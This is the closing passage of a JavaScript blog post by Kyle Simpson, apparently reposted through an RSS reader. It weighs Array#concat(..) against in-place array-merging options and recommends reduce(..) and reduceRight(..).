Wait, we’re going backwards in terms of readability (and perhaps even performance!). Let’s quit before we give up all our gains so far.

Summary

Array#concat(..) is the tried and true approach for combining two (or more!) arrays. But the hidden danger is that it’s creating a new array instead of modifying one of the existing ones.

There are options which modify-in-place, but they have various trade-offs.

Giving the various pros/cons, perhaps the best of all of the options (including others not shown) is the reduce(..) and reduceRight(..).

Whatever you choose, it’s probably a good idea to critically think about your array merging strategy rather than taking it for granted.

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Next page
» You can also retrieve older items : Read
» © All content and copyrights belong to their respective authors.«
» © FeedShow - Online RSS Feeds Reader